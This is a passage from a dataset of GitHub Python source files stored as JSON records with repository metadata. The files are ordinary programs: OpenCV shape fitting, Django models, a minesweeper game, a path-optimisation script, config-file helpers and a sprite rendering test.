l = []\n for i in range(50):\n t = MyThread()\n t.start()\n l.append(t)","repo_name":"diaoyuqiang/python","sub_path":"lock/信号量Semaphore.py","file_name":"信号量Semaphore.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41923230666","text":"import numpy as np\nimport cv2\n\ndef convex_rect():\n img = cv2.imread('E:/Python_Study/OpenCV/images/star.png')\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n ret, thr = cv2.threshold(img_gray, 127, 255, 0)\n contours, _ = cv2.findContours(thr, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n cnt = contours[5]\n\n x, y, w, h = cv2.boundingRect(cnt)\n cv2.rectangle(img, (x,y), (x+w, y+h), (0,0,255), 3)\n\n rect = cv2.minAreaRect(cnt)\n box = cv2.boxPoints(rect)\n box = np.int0(box)\n\n cv2.drawContours(img, [box], 0, (0,255,0), 3)\n\n cv2.imshow('rectangle', img)\n\ndef convex_circle():\n img = cv2.imread('E:/Python_Study/OpenCV/images/star.png')\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n rows, cols = img.shape[:2]\n\n ret, thr = cv2.threshold(img_gray, 127, 255, 0)\n contours, _ = cv2.findContours(thr, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n cnt = contours[5]\n\n (x,y), r = cv2.minEnclosingCircle(cnt)\n center = (int(x),int(y))\n r = int(r)\n\n cv2.circle(img, center, r, (255,0,0), 3)\n\n ellipse = cv2.fitEllipse(cnt)\n cv2.ellipse(img, ellipse, (0,255,0), 3)\n\n [vx, vy, x, y] = cv2.fitLine(cnt, cv2.DIST_L2, 0, 0.01, 0.01)\n ly = int((-x*vy/vx)+y)\n ry = int(((cols-x)*vy/vx)+y)\n\n cv2.line(img, (cols-1, ry), (0,ly), (0,0,255), 2)\n\n cv2.imshow('fitting', img)\n\nconvex_rect()\nconvex_circle()\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"yongil1222/Python_Study","sub_path":"OpenCV/Ex19-2.Convex2.py","file_name":"Ex19-2.Convex2.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32854511681","text":"\"\"\"\nFluff calculators that pertain to specific users (workers).\nThese are used in the Incentive Payment Report\n\"\"\"\nimport datetime\n\nimport fluff\nfrom couchforms.models import XFormInstance\nfrom corehq.apps.users.models import CommCareUser, CommCareCase\nfrom dimagi.utils.parsing import json_format_date\n\nfrom .constants import *\n\n\ndef user_date_group(form, value=1):\n return { \n 'date': form.received_on,\n 'value': value,\n 'group_by': [\n form.domain,\n form.metadata.userID,\n ],\n }\n\n\nclass WomenRegistered(fluff.Calculator):\n \"\"\"\n \"No. of women registered under BCSP\"\n\n Value represents the number of children delivered by that case\n \"\"\"\n\n @fluff.null_emitter\n def total(self, case):\n if case.type == \"Pregnancy\":\n total = 0\n for form in case.get_forms():\n if form.xmlns == DELIVERY_XMLNS:\n children = form.form.get('live_birth_amount')\n if children:\n total += int(children)\n yield [None, total]\n\n\nclass ServiceForms(fluff.Calculator):\n \"\"\"\n \"Submission of Service Availability form\"\n\n Number of Service Availability Forms Filled Out in Time Period\n \"\"\"\n\n @fluff.date_emitter\n def total(self, form):\n if form.xmlns == VHND_XMLNS:\n yield user_date_group(form) \n\n\nclass GrowthMonitoring(fluff.Calculator):\n \"\"\"\n \"No. of Growth monitoring Sections Filled for eligible children\"\n\n Sum of form property (in child followup form) where child1_child_growthmon,\n child2_child_growthmon, and child3_child_growthmon = '1' in the time period.\n Within a form, if multiple = '1', give xtimes the amount. \"Union\" this so\n that if ever '1' within the time period, that this triggers payment\n \"\"\"\n\n @fluff.date_emitter\n def total(self, form):\n if form.xmlns == CHILD_FOLLOWUP_XMLNS:\n # child_child_growthmon == 1 if weight was monitored this month\n total = 0\n for child_num in list('123'):\n child = form.form.get('child_%s' % child_num)\n if child:\n try:\n total += int(child.get('child%s_child_growthmon' % child_num))\n except:\n pass\n if total:\n yield { \n 'date': form.received_on,\n 'value': total,\n 'group_by': [\n form.domain,\n form.metadata.userID,\n ],\n }\n\n\n def get_result(self, key, date_range=None, reduce=True):\n # This block is pretty much a stripped copy-paste from fluff\n # except I needed to make sure the results were unique by case\n assert isinstance(date_range, tuple)\n start, end = date_range\n shared_key = [self.fluff._doc_type] + key + [self.slug, 'total']\n q = self.fluff.view(\n 'fluff/generic',\n startkey=shared_key + [json_format_date(start)],\n endkey=shared_key + [json_format_date(end)],\n reduce=False,\n ).all()\n\n def strip(id_string):\n prefix = '%s-' % self.fluff.__name__\n assert id_string.startswith(prefix)\n return id_string[len(prefix):]\n\n cases = {}\n for form in q:\n form_id = strip(form['id'])\n case_id = XFormInstance.get(form_id).form['case']['@case_id']\n cases[case_id] = max(cases.get(case_id, 0), form['value'])\n return {'total': sum(cases.values())}\n\n","repo_name":"gmimano/commcaretest","sub_path":"custom/opm/opm_reports/user_calcs.py","file_name":"user_calcs.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21076282209","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('df_user', '0002_auto_20170827_1027'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Address',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),\n ('creat_time', models.DateTimeField(auto_now_add=True, verbose_name='创建时间')),\n ('update_time', models.DateTimeField(verbose_name='更新时间', auto_now=True)),\n ('is_delete', models.BooleanField(default=False, verbose_name='是否删除')),\n ('recipicent_name', models.CharField(verbose_name='收件人', max_length=20)),\n ('recipicent_addr', models.CharField(verbose_name='收件地址', max_length=256)),\n ('zip_code', models.CharField(verbose_name='邮编', max_length=6)),\n ('recipicent_phone', models.CharField(verbose_name='联系电话', max_length=11)),\n ('is_def', models.BooleanField(default=False, verbose_name='是否默认')),\n ('passport', models.ForeignKey(to='df_user.Passport', verbose_name='所属账户')),\n ],\n options={\n 'db_table': 's_user_address',\n },\n ),\n ]\n","repo_name":"lmlzk/dailyfresh_django","sub_path":"daily_fresh/df_user/migrations/0003_address.py","file_name":"0003_address.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14348640713","text":"from itertools import product\nfrom random import sample\nfrom copy import deepcopy\nfrom minesweeper.func_classes.class_cell import Cell\n\n\nclass Field:\n __difficulty_setup = {\n 'easy': {'field_size': (9, 9), 'bomb_amount': 10},\n 'medium': {'field_size': (16, 16), 'bomb_amount': 40},\n 'hard': {'field_size': (16, 30), 'bomb_amount': 99},\n 'custom': {'field_size': None, 'bomb_amount': None},\n }\n\n def __init__(self, difficulty='medium'):\n self.difficulty = difficulty\n self.field_size = Field.__difficulty_setup[difficulty]['field_size']\n self.bomb_amount = Field.__difficulty_setup[difficulty]['bomb_amount']\n self.field = None\n self.__field_dict = {}\n\n @classmethod\n def set_optional_difficulty(cls, rows, cols, bombs):\n \"\"\"Задает параметры для пользовательской сложности.\"\"\"\n cls.__difficulty_setup.update({\n 'custom': {'field_size': (rows, cols), 'bomb_amount': bombs},\n })\n\n @classmethod\n def create_from_dict(cls, data_dict):\n \"\"\"Создает экземпляр класса из словаря.\"\"\"\n field_object = cls()\n for attr in data_dict:\n attr_value = data_dict.get(attr)\n if attr == 'field':\n attr_value = [[Cell.create_from_dict(cell_dict) for cell_dict in line] for line in attr_value]\n field_dict = {cell.coordinate: cell for cell in sum(attr_value, [])}\n setattr(field_object, '_Field__field_dict', field_dict)\n setattr(field_object, attr, attr_value)\n return field_object\n\n def save_to_dict(self):\n \"\"\"Создает словарь из объекта.\"\"\"\n data_dict = self.__dict__\n data_dict.update({'field': [[cell.__dict__ for cell in line] for line in data_dict['field']]})\n data_dict.pop('_Field__field_dict', None)\n return data_dict\n\n def create_field(self):\n \"\"\"Создает игровое поле; добавляет в словарь все созданные объекты класса Cell.\"\"\"\n field = [[Cell(i, j) for j in range(self.field_size[1])] for i in range(self.field_size[0])]\n self.__field_dict.update({cell.coordinate: cell for cell in sum(field, [])})\n self.field = field\n\n @property\n def field_dict(self):\n \"\"\"Возвращает словарь из всех созданных объектов класса Cell.\"\"\"\n return self.__field_dict\n\n def set_bombs(self):\n \"\"\"Расстанавливает бомбы на поле в случайном порядке.\"\"\"\n potential_bombs = list(product(range(self.field_size[0]), range(self.field_size[1])))\n bomb_coordinates = sample(potential_bombs, k=self.bomb_amount)\n for cell in self.__field_dict.values():\n if cell.coordinate in bomb_coordinates:\n cell.bomb = True\n\n def set_cells_info(self):\n \"\"\"Присваивает ячейкам информацию о количестве бомб в их периметре.\"\"\"\n for cell in self.__field_dict.values():\n bombs_around = 0\n for coordinate in cell.get_perimeter():\n new_cell = self.__field_dict.get(coordinate)\n if new_cell and new_cell.bomb:\n bombs_around += 1\n cell.cell_info = 'b' if cell.bomb else f'{bombs_around}'\n\n def flag_cell(self, coordinate):\n \"\"\"Отмечает ячейку флагом.\"\"\"\n cell = self.__field_dict.get(coordinate)\n cell.flag = True if not cell.flag else False\n\n def flag_all_cells(self):\n \"\"\"Отмечает все ячейки с бомбами флагом.\"\"\"\n for cell in self.__field_dict.values():\n if cell.bomb:\n cell.flag = True\n\n def make_cells_visible(self, coordinate):\n \"\"\"Делает ячейку\\область ячеек видимой в зависимости от их статуса.\"\"\"\n cell = self.__field_dict.get(coordinate)\n cell.last_cell = True\n # Если была открыта ячейка с бомбой, то открываются все ячейки с бомбами.\n if cell.cell_info == 'b':\n cell.flag = False\n for cell in self.__field_dict.values():\n if cell.bomb and not cell.flag:\n cell.visible = True\n # Если была открыта ячейка в периметре которой отсутствуют бомбы,\n # то открывается вся смежная область, в которой отсутствуют бомбы.\n elif cell.cell_info == '0':\n # Из координат формируется область в периметре которой отсутствуют бомбы.\n visible_coordinates = {coordinate}\n checked_coordinates = set()\n while True:\n coordinates = deepcopy(visible_coordinates)\n for coordinate in coordinates:\n if coordinate not in checked_coordinates:\n cell = self.__field_dict.get(coordinate)\n perimeter = cell.get_perimeter()\n for new_coordinate in perimeter:\n new_cell = self.__field_dict.get(new_coordinate)\n if new_cell and new_cell.cell_info == '0':\n visible_coordinates.add(new_coordinate)\n checked_coordinates.add(coordinate)\n if visible_coordinates == checked_coordinates:\n break\n # Открываются ячейки из сформированной области, а также из ее периметра.\n for coordinate in visible_coordinates:\n cell = self.__field_dict.get(coordinate)\n cell.visible = True\n perimeter = cell.get_perimeter()\n for new_coordinate in perimeter:\n new_cell = self.__field_dict.get(new_coordinate)\n if new_cell:\n new_cell.visible = True\n # Если была открыта ячейка в периметре которой присутствуют бомбы,\n # то открывается только выбранная ячейка.\n else:\n cell.visible = True\n","repo_name":"mdulchevskiy/minesweeper","sub_path":"minesweeper/func_classes/class_field.py","file_name":"class_field.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28034446117","text":"#!/usr/bin/env python3\nimport sys\nimport math\nimport numpy\nimport typing\nimport qm3.utils.grids\nimport qm3.utils.interpolation\n\nimport matplotlib.pyplot as plt\n\n\ndef calc_tau( kumb, potm, poti, potp, crdm, crdi, crdp ):\n dcM = crdp - crdi\n dcm = crdi - crdm\n dpM = max( math.fabs( potp - poti ), math.fabs( potm - poti ) )\n dpm = min( math.fabs( potp - poti ), math.fabs( potm - poti ) )\n if( potp > poti and poti > potm ):\n tau = dcM.copy()\n elif( potp < poti and poti < potm ):\n tau = dcm.copy()\n else:\n if( potp > potm ):\n tau = dpM * dcM + dpm * dcm\n else:\n tau = dpm * dcM + dpM * dcm\n tau /= numpy.linalg.norm( tau )\n gum = kumb * numpy.sum( ( dcm - dcM ) * tau ) * tau\n return( tau, gum )\n\n\ndef neb_path( igrd: object, node: int, gues: list, kumb: float ):\n delt = []\n for i in range( 1, len( gues ) ):\n delt.append( numpy.linalg.norm( gues[i] - gues[i-1] ) )\n dtot = sum( delt )\n npts = [ int( round( delt[i] / dtot * ( node + 1 ), 0 ) ) for i in range( len( delt ) ) ]\n delt = []\n for i in range( 1, len( gues ) ):\n delt.append( ( gues[i] - gues[i-1] ) / npts[i-1] )\n npts[-1] += 1\n coor = []\n for i in range( len( gues ) - 1 ):\n for n in range( npts[i] ):\n coor.append( gues[i] + n * delt[i] )\n coor = numpy.array( coor, dtype=numpy.float64 )\n dime = len( coor )\n # ------------------------------------------------------------------------------\n ndeg = math.sqrt( 2.0 * dime )\n snum = 1000\n pfrq = 10\n ssiz = 0.1\n gtol = 0.1 * dime\n nstp = 0\n alph = 0.1\n velo = numpy.zeros( ( dime, 2 ), dtype=numpy.float64 )\n refs = numpy.arange( dime, dtype=numpy.float64 )\n # ------------------------------------------------------------------------------\n func = numpy.zeros( dime, dtype=numpy.float64 )\n grad = numpy.zeros( ( dime, 2 ), dtype=numpy.float64 )\n for i in range( dime ):\n func[i], grad[i,0], grad[i,1] = igrd.calc( coor[i,0], coor[i,1] )\n for i in range( 1, dime - 1 ):\n tau, gum = calc_tau( kumb, func[i-1], func[1], func[i+1], coor[i-1], coor[i], coor[i+1] )\n grad[i] += gum - numpy.sum( tau * grad[i] ) * tau\n norm = numpy.linalg.norm( grad )\n grms = norm / ndeg\n print( \"%30.5lf%20.10lf\"%( numpy.sum( func ), grms ) )\n itr = 0\n while( itr < snum and grms > gtol ):\n if( - numpy.sum( velo * grad ) > 0.0 ):\n vsiz = numpy.linalg.norm( velo )\n velo = ( 1.0 - alph ) * velo - alph * grad / norm * vsiz\n if( nstp > 5 ):\n ssiz = min( ssiz * 1.1, 0.01 )\n alph *= 0.99\n nstp += 1\n else:\n alph = 0.1\n ssiz *= 0.5\n nstp = 0\n velo = numpy.zeros( ( dime, 2 ), dtype=numpy.float64 )\n velo -= ssiz * grad\n step = ssiz * velo\n tmp = numpy.linalg.norm( step )\n if( tmp > ssiz ):\n step *= ssiz / tmp\n coor += step\n\n obj = qm3.utils.interpolation.gaussian( refs, coor[:,0], 0.5 )\n coor[:,0] = numpy.array( [ obj.calc( i )[0] for i in refs ], dtype=numpy.float64 )\n obj = qm3.utils.interpolation.gaussian( refs, coor[:,1], 0.5 )\n coor[:,1] = numpy.array( [ obj.calc( i )[0] for i in refs ], dtype=numpy.float64 )\n\n func = numpy.zeros( dime, dtype=numpy.float64 )\n grad = numpy.zeros( ( dime, 2 ), dtype=numpy.float64 )\n for i in range( dime ):\n func[i], grad[i,0], grad[i,1] = igrd.calc( coor[i,0], coor[i,1] )\n for i in range( 1, dime - 1 ):\n tau, gum = calc_tau( kumb, func[i-1], func[1], func[i+1], coor[i-1], coor[i], coor[i+1] )\n grad[i] += gum - numpy.sum( tau * grad[i] ) * tau\n norm = numpy.linalg.norm( grad )\n grms = norm / ndeg\n\n# plt.clf()\n# grd.plot2d()\n# plt.plot( coor[:,0], coor[:,1], '-o' )\n# plt.savefig( \"snap.%04d.png\"%( itr ) )\n\n itr += 1\n if( itr % pfrq == 0 ):\n print( \"%10d%20.5lf%20.10lf%20.10lf\"%( itr, numpy.sum( func ), grms, ssiz ) )\n if( itr % pfrq != 0 ):\n print( \"%10d%20.5lf%20.10lf%20.10lf\"%( itr + 1, numpy.sum( func ), grms, ssiz ) )\n return( coor, func )\n\n\ngrd = qm3.utils.grids.grid()\ngrd.parse( open( sys.argv[1], \"rt\" ) )\nobj = qm3.utils.interpolation.interpolate_2d( grd.x, grd.y, grd.z )\ngue = numpy.array( [ float( i ) for i in sys.argv[2:] ], dtype=numpy.float64 )\ngue.shape = ( len( gue ) // 2, 2 )\npth, ene = neb_path( obj, 50, gue, 400 )\nwith open( \"path.log\", \"wt\" ) as f:\n for i in range( len( ene ) ):\n f.write( \"%20.10lf%20.10lf%20.10lf\\n\"%( pth[i,0], pth[i,1], ene[i] ) )\n","repo_name":"sergio-marti/ren-qm3","sub_path":"tools/s_neb.py","file_name":"s_neb.py","file_ext":"py","file_size_in_byte":4712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70104703414","text":"import subprocess\n\n# subprocess.Popen 으로 실행하기\n# 참고로 os.popen 은 python 2.6 부터 deprecated 되었다.\n# https://docs.python.org/2/library/os.html\nargs = [\"ls\", \"-1\"]\noutput = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\nstdout, stderr = output.communicate()\nprint(\"[stdout]\\n\", stdout)\nprint(\"[stderr]\\n\", stderr)\n# 라인 구분하여 리스트화 시키기\nlines = str(stdout).split(\"\\n\")\nfor i in lines:\n print(\"line=\" + i)\n","repo_name":"ysoftman/test_code","sub_path":"python/subprocess_popen.py","file_name":"subprocess_popen.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"23899243611","text":"#we can create our own Iterator object , To creat userdefine Object we must need creat a userdefine a class\n#Forthat we need to use two methods (1) iter() (2) next()\nclass Demo:\n def __init__(self):\n self.count=1\n def __iter__(self):\n return self\n def __next__(self):\n if self.count<=10:\n val=self.count\n self.count+=1\n return val\n else:\n raise StopIteration #to stop for loop i need to raise an exception\nlist=Demo()\nprint(list.__iter__()) #it returns Address\nprint(list.__next__())\nprint(list.__next__())\nprint(list.__next__(),\"\\n\\n\") #here our own iterator don't know the end value hence we need to specify somme condition in next()\n\n#if in our class we not define iter() method then its gives an error:-\n# for i in list:\n#TypeError: 'Demo' object is not iterable\nfor i in list:\n print(i)\n\n#above for loop start from value 4 because till 3 we use above next() methods\n#And this is the buity of iterator its never repeates once it's start untill end value comes\n","repo_name":"Krushnarajsinh/MyPrograms","sub_path":"UserDefineIterator.py","file_name":"UserDefineIterator.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70567739893","text":"from random import randint\n\nfrom .base import Program\nfrom ..settings import WIDTH, HEIGHT\n\n\ndef rand_color():\n return (\n randint(0, 255),\n randint(0, 255),\n randint(0, 255),\n )\n\n\nclass FullRand(Program):\n fps = 20\n reset = True\n\n async def animate(self, t):\n color = rand_color()\n frame = dict()\n for x in range(WIDTH):\n for y in range(HEIGHT):\n frame[(x, y)] = color\n return frame\n","repo_name":"c0deaddict/led-table","sub_path":"server/server/programs/full_rand.py","file_name":"full_rand.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"25993814633","text":"#This file defines the movie class\nimport webbrowser\n\nclass Movie():\n #This class contains a movie's title, two actors, and links to the movie poster and trailer\n def __init__(self, movie_title, movie_actor1, movie_actor2, poster_image, trailer_youtube):\n self.title = movie_title\n self.lead_actor = movie_actor1\n self.supporting_actor = movie_actor2\n self.poster_image_url = poster_image\n self.trailer_youtube_url = trailer_youtube\n\n def show_trailer(self):\n webbrowser.open(self.trailer_youtube_url)\n","repo_name":"jbfoster/Project-1","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18787527895","text":"\"\"\"This is a test to check batch rendering and event handling performance.\n\nThe class `pycat.base.Sprite` now inherits from the `WindowEventListener`\nclass and can receive any window event by overriding a set of methods\nand adding the sprite to a window using the\n`window.add_window_event_listener(s: WindowEventListener)` method.\nIn order to be collected by the garbage collector, they must also\nbe removed using the\n`window.remove_window_event_listener(s: WindowEventListener)`. Events are\nhandled by the `WindowEventHandler` class using a publisher subscriber model.\n\nThe frames per second are displayed on the window. Garbage collection is\ntested using print statements in the custom sprites `__del__` method and\npython's `gc` module\n\nTests:\n- Press the `enter` key to generate 1000 sprites listening for window events.\n You can do this multiple times.\n- Press the `0` key to delete all of the generated sprites\n- Press backspace to delete one by one\n- Right click to remove all sprites under the mouse cursor\n- Press the other number keys to change their opacity\n- Mouse motion changes the sprites orientation\n- Mouse drag will change the color of sprites under the mouse cursor\n \"\"\"\n\n# import gc\nfrom random import uniform\nfrom typing import List\n\nfrom pycat.base import BaseSprite, BaseWindow, Color, GraphicsBatch, Image\nfrom pycat.base.event import KeyCode, KeyEvent, MouseButton, MouseEvent\nfrom pycat.geometry.point import Point\nfrom pycat.collision import is_aabb_collision\n\n\n# gc.set_debug(gc.DEBUG_STATS)\n\n\nclass Eye(BaseSprite):\n\n def __init__(self, look_point: Point, max_x: float, max_y: float):\n super().__init__(Image.get_image_from_file(\"img/eye.png\"))\n self.scale = uniform(0.1, 0.3)\n self.position = (uniform(0, max_x), uniform(0, max_y))\n self.point_toward(look_point)\n self.shake = False\n\n # for testing garbage collection\n # def __del__(self):\n # print(\"Eye garbage collected\")\n # pass\n\n def on_key_press(self, key_event: KeyEvent):\n if key_event.character.isnumeric():\n self.opacity = 28 * int(key_event.character)\n\n def on_mouse_motion(self, e: MouseEvent):\n self.point_toward(e.position)\n\n def on_mouse_press(self, e: MouseEvent):\n if self.contains_point(e.position):\n self.shake = not self.shake\n\n def update(self):\n if self.shake:\n self.x += uniform(-1, 1)\n self.y += uniform(-1, 1)\n self.scale *= uniform(0.98, 1.02)\n\n\nwindow = BaseWindow(500, 500, \"window events test\")\nflappy_bird = BaseSprite(Image.get_image_from_file(\"img/bird_cropped.gif\"))\nflappy_bird.position = window.center\nflappy_bird.scale = 0.4\nsprite_list: List[Eye] = []\neye_batch = GraphicsBatch()\n\n\ndef delete_eyes():\n for s in sprite_list:\n window.remove_event_subscriber(s)\n sprite_list.clear()\n eye_batch.clear()\n\n\ndef my_key_press(event: KeyEvent):\n if event == KeyCode.ENTER:\n for _ in range(1000):\n s = Eye(look_point=flappy_bird.position,\n max_x=window.width,\n max_y=window.height)\n sprite_list.append(s)\n eye_batch.add_sprite(s)\n window.add_event_subscriber(s)\n flappy_bird.set_image_from_file(\"img/bird_cropped.gif\")\n flappy_bird.color = Color.WHITE\n if event.symbol == KeyCode.BACKSPACE and sprite_list:\n s = sprite_list.pop()\n eye_batch.remove_sprite(s)\n window.remove_event_subscriber(s)\n elif event == \"0\":\n flappy_bird.set_image_from_file(\"img/boom.png\")\n flappy_bird.scale = 0.5\n flappy_bird.position = window.center\n flappy_bird.color = Color.WHITE\n delete_eyes()\n elif event == \"r\":\n flappy_bird.color = Color.RED\n elif event == \"g\":\n flappy_bird.color = Color.BLUE\n elif event == \"b\":\n flappy_bird.color = Color.GREEN\n\n\ndef my_mouse_scroll(mouse: MouseEvent):\n \"\"\"zoom flappy bird\"\"\"\n if mouse.delta.y < 0 and flappy_bird.scale < 3:\n flappy_bird.scale *= 1 - mouse.delta.y / 10\n elif mouse.delta.y > 0 and flappy_bird.scale > 0.1:\n flappy_bird.scale *= 1 - mouse.delta.y / 10\n\n\ndef my_mouse_drag(mouse: MouseEvent):\n \"\"\"drag flappy bird\"\"\"\n if (flappy_bird.contains_point(mouse.position)\n or flappy_bird.contains_point(mouse.position - mouse.delta)):\n flappy_bird.position = mouse.position\n for s in sprite_list:\n if is_aabb_collision(flappy_bird, s):\n s.color = (255, 0, 0)\n\n\ndef my_mouse_press(mouse: MouseEvent):\n if mouse.button == MouseButton.RIGHT:\n remove_list: List[BaseSprite] = []\n for s in sprite_list:\n if s.contains_point(mouse.position):\n remove_list.append(s)\n for s in remove_list:\n window.remove_event_subscriber(s)\n sprite_list.remove(s)\n eye_batch.remove_sprite(s)\n\n\ndef test_key_press(event: KeyEvent):\n print(\"press\", event)\n\n\ndef test_key_release(event: KeyEvent):\n print(\"release\", event)\n\n\n@window.on_update\ndef update():\n if window.is_active_key(KeyCode.UP):\n flappy_bird.rotation += 3\n elif window.is_active_key(KeyCode.DOWN):\n flappy_bird.rotation -= 3\n elif window.is_active_key(KeyCode.RIGHT):\n flappy_bird.change_animation_frame_duration(-0.002)\n elif window.is_active_key(KeyCode.LEFT):\n flappy_bird.change_animation_frame_duration(0.002)\n for s in sprite_list:\n s.update()\n # window._fps_label.update()\n\n\n@window.on_draw\ndef draw():\n window.clear()\n eye_batch.draw()\n flappy_bird.draw()\n # window._fps_label.draw()\n\n\nwindow.run(on_key_press=[my_key_press, test_key_press],\n on_key_release=test_key_release,\n on_mouse_press=my_mouse_press,\n on_mouse_scroll=my_mouse_scroll,\n on_mouse_drag=my_mouse_drag)\n","repo_name":"cmorace/pycat","sub_path":"pycat/test/batch_test.py","file_name":"batch_test.py","file_ext":"py","file_size_in_byte":5893,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"2079620656","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nA few tools for reading config files for projects. In each case,\nthere's a config-template.cfg and a config.cfg in the project's own\nrepo space, and possible also one of each in the local folder at\nruntime. Each project has a projectname-config.py which makes use of these.\n\nSee OSM, RDC, Gallup, etc projects for sample config-template.cfg file layouts, which match the config_file_structure dict specified as documented below.\n\nAn example of the config_file_structure value is:\n\nconfig_file_structure={\n 'paths': [\n 'working',\n 'input',\n 'graphics',\n 'outputdata',\n 'output',\n 'tex',\n 'scratch',\n 'bin',\n ],\n 'defaults': [\n ('rdc',bool),\n 'mode',\n ],\n 'server': [\n ('parallel',bool),\n ('manycoreCPU',bool),\n ('islinux',bool),\n 'stataVersion', # e.g. 'linux12'\n ],\n 'gallup': [\n 'MAX_WP5',\n 'MAX_WAVE',\n 'version',\n 'GWPdataVersion',\n 'GWPrawdataDir',\n ],\n }\n\n\nAn example config-template.cfg file is then:\n\n[paths]\nworking = /home/foo\n\n[server]\nparallel = True\n\n\"\"\"\nimport os,copy\n# Following seems amazing. Shouldn't I just get these from cpblUtilities_config? \nfrom .utilities import dsetset,dgetget,merge_dictionaries, read_hierarchy_of_config_files,readConfigFile\ndef __readConfigFile(inpath, config_file_structure):\n \"\"\"\n \"\"\"\n import ConfigParser\n config = ConfigParser.SafeConfigParser({'pwd': os.getcwd(),'cwd': os.getcwd()})\n config.read(inpath)\n outdict={}\n for section in config_file_structure:\n if config.has_section(section):\n for option in config_file_structure[section]:\n if config.has_option(section,option if isinstance(option,str) else option[0]):\n if isinstance(option,str):\n dsetset(outdict,(section,option), config.get(section,option))\n elif option[1]==bool:\n dsetset(outdict,(section,option[0]), config.getboolean(section,option[0]))\n elif option[1]==int:\n dsetset(outdict,(section,option[0]), config.getint(section,option[0]))\n elif option[1]==float:\n dsetset(outdict,(section,option[0]), config.getfloat(section,option[0]))\n elif option[1]=='commasep':\n dsetset(outdict,(section,option[0]), config.get(section,option[0]).split(','))\n else:\n raise('Do not know config value type '+str(option[1]))\n return(outdict)\n\ndef tmp_read_hierarchy_of_config_files(files,config_file_structure, verbose=True):\n \"\"\"\n Reads a sequence of config files, successively updating a dict of config settings.\n Returns the dict.\n\n if verbose is True, it also reports file was the last to set each setting.\n\n Note that there is also a verboseSource feature in merge_dictionaries, which reports updating as it goes, but this is less useful than the verbose behaviour given here.\n \"\"\"\n configDict={}\n configDictOrigins={}\n def setOrigin(filename,adict):\n for kk in adict:\n if isinstance(adict[kk],dict):\n setOrigin(filename,adict[kk])\n else:\n adict[kk]=filename\n def reportOrigin(adict, vdict):\n for kk in adict:\n if isinstance(adict[kk],dict):\n reportOrigin(adict[kk], vdict[kk])\n else:\n print(kk+'\\t = \\t'+str(vdict[kk])+' :\\t (from '+adict[kk]+ ')')\n for ff in files:\n if os.path.exists(ff):\n newConfigDict=readConfigFile(ff,config_file_structure)\n if verbose:\n newConfigOrigins=copy.deepcopy(newConfigDict)\n setOrigin(ff,newConfigOrigins)\n configDictOrigins=merge_dictionaries(configDictOrigins,newConfigOrigins)\n configDict=merge_dictionaries(configDict,newConfigDict, verboseSource=False) #False if not verbose else ff) #bool(configDict))\n\n \n if not configDict:\n raise Exception(\"Cannot find config[-template].cfg file in \"+', '.join(files))\n if verbose:\n reportOrigin(configDictOrigins, configDict)\n return configDict\n\n\n\n\n\n","repo_name":"cpbl/cpblUtilities-MOVED-TO-GITLAB","sub_path":"configtools.py","file_name":"configtools.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9835974634","text":"nums=list(map(int,input(\"Enter the list =\").split()))\ndict={}\nfor i in nums:\n if i in dict:\n dict[i]=dict[i]+1\n else:\n dict[i]=1\nmax=0\nfor key,value in dict.items():\n if value>max:\n max=value\n \nprint(max)","repo_name":"sankalpsid19/self_attainu_repo","sub_path":"assignments/week07/day05/Q5.py","file_name":"Q5.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41860306191","text":"import pandas as pd\nimport requests\nimport json\nimport math\nimport os\n#Important link for parent comments: https://developers.google.com/youtube/v3/docs/comments#id\n#Important link for comment threads: https://developers.google.com/youtube/v3/docs/comments/list?apix_params=%7B%22part%22%3A%5B%22snippet%22%5D%2C%22maxResults%22%3A100%2C%22parentId%22%3A%22UgwXsDqMuiXOSHtV9p54AaABAg%22%7D&apix=true\n#Refer postman for implementation\nvideo_wo_comments = []\ndef getMaxAbandonedIndexFrom(file_list):\n max_ind = 0\n for file_item in file_list:\n ind = file_item.index('-co')\n subint = int(file_item[ind+4:len(file_item)-5])\n if max_ind < subint:\n max_ind = subint\n return 